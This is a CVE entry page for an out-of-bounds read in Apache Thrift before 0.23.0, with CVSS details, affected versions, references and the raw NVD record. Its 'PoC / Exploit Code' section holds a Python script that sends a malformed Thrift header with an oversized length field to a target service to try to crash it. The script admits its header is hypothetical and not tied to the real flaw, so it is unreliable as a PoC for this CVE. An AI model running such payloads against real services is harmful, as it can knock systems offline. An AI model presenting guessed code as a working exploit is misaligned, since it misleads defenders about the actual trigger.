Security Vulnerability Report
中文
CVE-2026-41604 CVSS 8.2 HIGH

CVE-2026-41604

Published: 2026-04-28 10:16:03
Last Modified: 2026-04-28 18:40:10

Description

Out-of-bounds Read vulnerability in Apache Thrift. This issue affects Apache Thrift: before 0.23.0. Users are recommended to upgrade to version 0.23.0, which fixes the issue.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:apache:thrift:*:*:*:*:*:*:*:* - VULNERABLE
Apache Thrift < 0.23.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# This is a conceptual PoC for CVE-2026-41604 # It demonstrates sending a potentially malicious payload to trigger the OOB Read import socket import struct def create_malformed_thrift_packet(): # Hypothetical malformed message header # In a real scenario, the specific bytes would align with the vulnerability trigger # Assuming a strict length check is missing for a string or binary field # Magic bytes + Version (Example) header = b"\x80\x01\x00\x01" # Method name length (High value to cause OOB) # Sending a length that exceeds the actual buffer size method_name_len = struct.pack(">I", 0xFFFFFFFF) # Sequence ID seq_id = struct.pack(">I", 0) return header + method_name_len + seq_id def send_exploit(host, port): payload = create_malformed_thrift_packet() try: print(f"[+] Connecting to {host}:{port}") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((host, port)) print(f"[+] Sending malicious payload...") s.send(payload) # Wait for response or timeout (Crash detection) s.recv(1024) print("[+] Payload sent. Check if the service crashed.") s.close() except Exception as e: print(f"[-] Error: {e}") # Note: Replace target_ip and target_port with the actual vulnerable service details # send_exploit("127.0.0.1", 9090)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41604", "sourceIdentifier": "[email protected]", "published": "2026-04-28T10:16:03.230", "lastModified": "2026-04-28T18:40:10.280", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds Read vulnerability in Apache Thrift.\n\nThis issue affects Apache Thrift: before 0.23.0.\n\nUsers are recommended to upgrade to version 0.23.0, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:thrift:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.23.0", "matchCriteriaId": "0CE7604A-DA43-44E3-9840-9E3696223DD5"}]}]}], "references": [{"url": "https://lists.apache.org/thread/lb4j0zyd5f3g36cos0wql925przpnwql", "source": "[email protected]", "tags": ["Mailing List", "Patch", "Release Notes"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/28/5", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List"]}]}}